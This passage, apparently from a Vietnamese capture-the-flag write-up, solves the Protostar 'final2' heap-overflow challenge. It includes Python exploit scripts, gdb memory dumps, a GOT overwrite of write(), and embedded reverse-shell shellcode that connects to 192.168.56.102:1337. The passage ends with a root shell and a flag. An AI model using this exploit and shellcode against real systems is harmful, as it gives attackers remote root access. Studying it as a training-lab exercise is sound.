chunk_B_header = "\xfc\xff\xff\xff" + "\xfe\xff\xff\xff" + "BBBB" + "CCCC"
chunk_B = "FSRD" + "ROOT" + "A"*(128-9-len(chunk_B_header)) + "/" + chunk_B_header
s.sendall(chunk_B)
s.close()
```
- Mở gdb:
```
root@protostar:/opt/protostar/bin# gdb final2 -p 1970
(gdb) break *get_requests+155
Breakpoint 1 at 0x804bde2: file final2/final2.c, line 53.
(gdb) break *free+301
Breakpoint 2 at 0x804aaef: file final2/../common/malloc.c, line 3648.
(gdb) c
Continuing.
[New process 1752]
[Switching to process 1752]
Breakpoint 1, get_requests (fd=4) at final2/final2.c:53
(gdb) x/4x $ebp-0x414
0xbffff844: 0x0804e008 0x0804e090 0x0804e118 0xb7ea1a54
(gdb) x/8x 0x0804e008-8
0x0804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x0804e010: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x 0x0804e090-8
0x0804e088: 0xfffffffe 0xfffffffc 0x42424242 0x43434343
0x0804e098: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) c
Continuing.
Breakpoint 2, 0x0804aaef in free (mem=0x0804e008)
(gdb) x $edx
0x43434343 cannot access memory at address 0x43434343
(gdb) x $eax
0x42424242 cannot access memory at address 0x42424242
```
- Để ý trong source code: _write()_ được gọi sau khi _free()_ -> Tìm hàm _write()_ để viết shellcode:
```
root@protostar:/opt/protostar/bin# objdump -R final2 | grep write
0804d41c R_386_JUMP_SLOT write
```
-> Làm tương tự heap3 + shellcode (http://www.shell-storm.org/shellcode/files/shellcode-883.php) -> payload:
```
import socket
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89" \
"\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x38\x66\x66\x68\x05\x39\x43" \
"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59" \
"\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68" \
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
s = socket.socket()
s.connect((localhost,2993))
chunk_A = "FSRD" + "\x90"*4 + "\x68\x30\xe0\x04\x08\xc3"
chunk_A = chunk_A + "\x90"*(128-19-len(shellcode)) + shellcode
chunk_A = chunk_A + "\x90"*4 + "/"
s.sendall(chunk_A)
chunk_B_header = "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x10\xe0\x04\x08"
chunk_B = "FSRD" + "ROOT" + "A"*(128-9-len(chunk_B_header)) + "/" + chunk_B_header
s.sendall(chunk_B)
s.close()
```
- Theo doc của shellcode -> ```nc localhost 1337``` -> thu được:
```
root@protostar:/opt/protostar/bin# nc localhost 1337
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
```
real flag: BKSEC{wh3n_life_h4rd_just_5mi1e:D}